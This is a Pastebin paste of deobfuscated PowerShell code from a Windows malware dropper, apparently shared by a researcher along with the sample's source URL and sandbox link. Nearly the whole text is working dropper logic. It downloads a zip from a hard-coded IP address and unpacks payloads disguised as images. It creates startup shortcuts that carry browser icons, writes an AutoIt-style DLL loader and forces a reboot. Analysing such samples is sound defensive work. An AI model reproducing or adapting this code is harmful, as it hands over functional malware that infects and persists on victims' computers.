ps66uk

malware_dropper

Jun 28th, 2019
3,424
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.02 KB | None | 0 0
  1.  
  2.  
  3. # deobfuscated pseudocode from http://51.75.142.21/l2406/uk/kk/20938092830482 - https://app.any.run/tasks/82c788e9-0d5e-4202-bc4b-7952bcbd27bf/
  4.  
  5. # exe
  6. $EXE = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZQB4AGUA')))
  7.  
  8. # zip
  9. $ZIP = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('egBpAHAA')))
  10.  
  11. # http://51.91.248.86/uk/M2406/kk/md.zip
  12. $MALZIP = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA1ADEALgA5ADEALgAyADQAOAAuADgANgAvAHUAawAvAE0AMgA0ADAANgAvAGsAawAvAG0AZAAuAHoAaQBwAA==')))
  13.  
  14. $PUBLIC = "public"
  15. $USERSPUBLIC = "c:\users\$PUBLIC"
  16.  
  17. Function MAKE_RAND_NAME {
  18. $KEY_CHAR = "q","w","e","r","t","y","u","p","a","s","d","f","g","h","j","k","z","x","c","v","b","n","m"
  19. $KEY_NUM = "2_","3_","4_","5_","6_","7_","8_","9_"
  20. $RAND_NAME = $null
  21. $RAND_CHAR_6 = Get-Random -InputObject $KEY_CHAR -Count 6
  22. $RAND_NUM = Get-Random -InputObject $KEY_NUM -Count 1
  23. $RAND_CHAR_1 = Get-Random -InputObject $KEY_CHAR.ToUpper() -Count 1
  24. foreach($n in $RAND_CHAR_6) {
  25. $RAND_NAME += $n
  26. }
  27. foreach ($n2 in $RAND_NUM) {
  28. $RAND_NAME += $n2
  29. }
  30. foreach ($n3 in $RAND_CHAR_1) {
  31. $RAND_NAME += $n3
  32. }
  33. return "Java_$RAND_NAME"
  34. }
  35.  
  36. $MAL_FOLDER = MAKE_RAND_NAME
  37. $MAL_STARTFILE = "$USERSPUBLIC\i.dat"
  38. $CHECK_MALFILE = if ($MAL_STARTFILE) { Test-Path $MAL_STARTFILE }
  39. $CHECK_MALFILE
  40.  
  41. if($CHECK_MALFILE -eq 'True'){
  42. exit
  43. }else{
  44. New-Item -ItemType directory -Path $USERSPUBLIC\$MAL_FOLDER
  45. $OBJ_DOWNLOAD = new-object System.Net.WebClient
  46. $OBJ_DOWNLOAD.DownloadFile($MALZIP,"$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.zip")
  47. $OBJ_APPLICATION = new-object -com shell.application
  48. $MAL_ZIP = $OBJ_APPLICATION.namespace("$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.$ZIP")
  49. $MAL_UNPACK = $OBJ_APPLICATION.namespace("$USERSPUBLIC\$MAL_FOLDER")
  50. $MAL_UNPACK.Copyhere($MAL_ZIP.items())
  51. Rename-Item -NewName ("$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.$EXE") -Path ("$USERSPUBLIC\$MAL_FOLDER\$EXE.png")
  52. Rename-Item -NewName ("$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.LNS") -Path ("$USERSPUBLIC\$MAL_FOLDER\12.dll")
  53. Rename-Item -NewName ("$USERSPUBLIC\$MAL_FOLDER\sqlite3.dll") -Path ("$USERSPUBLIC\$MAL_FOLDER\sql.png")
  54.  
  55. function MAKE_BAD
  56. {
  57. Param([string]$BAD_LNK,[string]$NOT_USED_1);
  58. try{
  59. $OBJ_MAKE = New-Object -ComObject WScript.Shell
  60. $MAL_IE_LNK = $OBJ_MAKE.CreateShortcut($BAD_LNK)
  61. $MAL_IE_LNK.TargetPath = "$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.$EXE"
  62. $MAL_IE_LNK.Arguments = " $MAL_FOLDER1.LNS $MAL_FOLDER"
  63. $MAL_IE_LNK.WorkingDirectory = "$USERSPUBLIC\$MAL_FOLDER"
  64. $MAL_IE_LNK.WindowStyle = 7
  65.  
  66. # %ProgramFiles%\Internet Explorer\iexplore.exe,1
  67. $MAL_IE_LNK.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
  68. $MAL_IE_LNK.Save()
  69. }finally{}
  70. }
  71.  
  72. $SHELL = New-Object -Com WScript.Shell
  73.  
  74. # startup
  75. $STARTUP.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));
  76. del $UNKNOWN_STR\*.vbs
  77. del $UNKNOWN_STR\*.lnk
  78. $ENV_APPDAT = " $env:APPDATA\$NOT_USED_2, $NOT_USED_3"
  79. $BAD_LNK = "$UNKNOWN_STR\$MAL_FOLDER.lnk"
  80.  
  81. MAKE_BAD $BAD_LNK $ENV_APPDAT
  82.  
  83. MAKE_BAD "c:\users\public\c.lnk" $ENV_APPDAT
  84. $bytes = [System.IO.File]::ReadAllBytes("c:\users\public\c.lnk")
  85. $bytes[0x15] = $bytes[0x15] -bor 0x20 #set byte 21 (0x15) bit 6 (0x20) ON
  86. [System.IO.File]::WriteAllBytes("c:\users\public\c.lnk", $bytes)
  87.  
  88. function MAKE_BAD_2
  89. {
  90. Param([string]$BAD_LNK,[string]$STR_WTF);
  91. try{
  92. $OBJ_MAKE = New-Object -ComObject WScript.Shell
  93. $LNK_INTERNET = $OBJ_MAKE.CreateShortcut($BAD_LNK)
  94. $LNK_INTERNET.TargetPath = "c:\users\$PUBLIC\$MAL_FOLDER.vbs"
  95. $LNK_INTERNET.Arguments = ""
  96.  
  97. # "Acessar a internet."
  98. $LNK_INTERNET.Description = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IgBBAGMAZQBzAHMAYQByACAAYQAgAGkAbgB0AGUAcgBuAGUAdAAuACIA')));
  99. $LNK_INTERNET.WorkingDirectory = ""
  100. $LNK_INTERNET.IconLocation = "$NOT_USED_4"
  101. $LNK_INTERNET.Save()
  102. }finally{}
  103. }
  104.  
  105. $MAL_DAT = $MAL_FOLDER
  106. $MAL_DAT | Set-Content "$USERSPUBLIC\i.dat"
  107. $MAL_DAT | Out-File "$USERSPUBLIC\i.dat"
  108. $MAL_DAT > "$USERSPUBLIC\i.dat"
  109.  
  110. $BAD_LNK = "c:\users\public\chrome.lnk"
  111. MAKE_BAD_2 $BAD_LNK $STR_WTF
  112.  
  113. # Line
  114. $LINE = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABpAG4AZQA=')))
  115.  
  116. # Cmd
  117. $CMD = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBtAGQA')))
  118.  
  119. $NUM_86 = '86'
  120. $OBJ_$ = "$"
  121. $Arquivo = "$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER1.LNS"
  122.  
  123. $ArquivoSaida ="$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER1.LNS"
  124. Add-Content $Arquivo '#NoTrayIcon'
  125. Add-Content $Arquivo "Global $OBJ_$$MAL_FOLDER = $OBJ_$$CMD$LINE[1]"
  126. Add-Content $Arquivo "Global $OBJ_$$MAL_FOLDER$NUM_86 = DllOpen('$MAL_FOLDER.LNS')"
  127. Add-Content $Arquivo "DllCall($OBJ_$$MAL_FOLDER$NUM_86, 'STRUCT', 'JLI_CmdToArgs')"
  128.  
  129.  
  130. C:\WINDOWS\system32\shutdown.exe -r -t 200
  131.  
  132. }
Advertisement
Add Comment
Please, Sign In to add comment